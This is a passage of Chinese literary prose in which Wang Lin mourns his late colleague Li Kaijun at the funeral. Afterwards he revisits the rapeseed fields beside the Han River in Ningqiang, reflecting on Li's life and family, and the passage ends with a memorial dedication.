    可王霖看着那张脸，想起的却是另一个李凯君——那个用麻袋装二十六万现金去提车的人，那个开着马自达跑遍西北五省的人，那个站在山坡上看油菜花的人，那个说“我要再活五年”的人。


    他想起李凯君讲过的那些故事。想起那个酒醉的夜晚，柳春英守在他床边，给他擦身子、洗脏衣服。想起草原上的月光，那些纠缠在一起的影子，她趴在他耳边说的那句话。想起汉中的山野，那个四面透风的窝棚，她说“等咱们老了，就回来这里住”。


    他想起了很多事。


    想起李凯君第一次跟他说起自己的发家史，眼睛亮亮的，像在讲一件很得意的事。想起李凯君在股东会上拍桌子摔门，脸涨得通红，脖子上青筋暴起。想起李凯君坐在他办公室里抱怨报销难，抽着烟，烟雾在午后的阳光里翻卷。


    想起李凯君从医院出来，手里攥着那张诊断报告，站在医院门口说“我还没跟我老婆说”。想起李凯君在山顶上，看着远处的山峦，说“我以前从来没发现，山顶的风景这么好”。


    想起李凯君最后那次回宁强，站在山坡上，望着汉江，望着油菜花，说“我够了”。


    他够了。


    他真的够了。


    王霖站在那里，看着那张瘦削的脸，眼眶忽然热了。


    工作人员盖上棺材盖，轻轻地说：“节哀。”


    王霖点点头，转身往外走。


    走到门口，风吹过来，很硬，很冷，像刀子一样。


    他忽然想起李凯君说过的话：“王总，你说，人这一辈子，到底图啥？”


    他当时说：“图个心安吧。”


    现在他想，也许还有别的。


    图个念想。图个牵挂。图个舍不得。


    舍不得老婆孩子，舍不得山水花草，舍不得这人间烟火。


    舍不得，所以多活了五年。


    十二、汉江流过


    春天又来了。


    王霖一个人开车去了宁强。


    汉江还是那条汉江，清清浅浅的，从秦岭深处流出来。油菜花还是那片油菜花，黄灿灿的，开满了山坡。村子还是那个村子，炊烟袅袅地升起来，在蓝天上画出淡淡的、斜斜的线。


    他把车停在村口，一个人走到山坡上。


    山坡上，油菜花开得正好。风吹过，金黄色的波浪一层一层地涌过来，涌到他脚下。蜜蜂在花丛里嗡嗡地飞，蝴蝶在路边晒翅膀，远处的汉江在阳光下闪着光。


    他站在那里，站了很久。


    他想起李凯君。想起他说过的那些话，想起他做过那些事，想起他最后站在这里的样子。


    他想起李凯君的两个女儿。大女儿在上海，中国银行上海分行，户口成了上海人。小女儿考上了军校，名牌大学，以后要当军官。她们都出息了，都过得很好。


    他想起柳春英。那个内蒙古师范大学毕业的姑娘，那个朴朴实实的女人，那个在病床边削苹果的人。她还住在原来的房子里，一个人，守着那些回忆。逢年过节，两个女儿回来，家里就又热闹起来。


    他想起李凯君的父母。八十多岁了，身体还好。大儿子守着他们，小儿子在深圳，每年寄钱回来。他们还是种地，养猪，养鸡，日子过得和从前一样。


    他想起宋泰生的三百块钱，想起李见俊的不见人影。


    他想起那天的风，很硬，很冷，吹得人脸上生痛。


    山坡下，汉江还在流淌。江水清清的，浅浅的，在阳光下闪着光。它从秦岭深处流出来，流过宁强，流过汉中，流过湖北，最后流进长江，流进大海。


    它流过的，是无数人的一生。


    王霖站在那里，看着江水，看着油菜花，看着远处的村庄。


    他忽然想起李凯君说过的话：“我小时候，以为这条江是全世界最宽的。后来去了外面，才知道还有长江，还有黄河，还有大海。可是现在，我觉得，还是这条江最宽。”


    他明白了。


    不是因为江宽，是因为那是他从小看着的江。是因为那江里，流着他的一生。


    汉江流过的地方，就是他的根。


    风从山坡上吹过来，带着油菜花的香气。王霖深深地吸了一口气，然后转身，往山下走。


    他知道，他还会再来的。


    为了李凯君，为了那些从小人物变成传奇的人，为了那些在时代洪流里拼命挣扎、拼命生长、拼命活成最好的模样的人。


    他们活得不顺利，活得不轻松，活得很不容易。


    但他们活过。


    他们爱过。


    他们在草原的月光下，在山野的窝棚里，在彼此的身体里，找到过生命最本真的样子。


    他们值得被记住。


    ---


    谨以此章，纪念李凯君——一个从秦岭深处走出来的汉子，一个用麻袋装现金提车的销售总监，一个说“我要活五年”的父亲，一个在草原月光下、在山野窝棚里，和心爱的女人一起，找到过生命本真的人。


    半生债，一世情。


    汉江流过，斯人长存。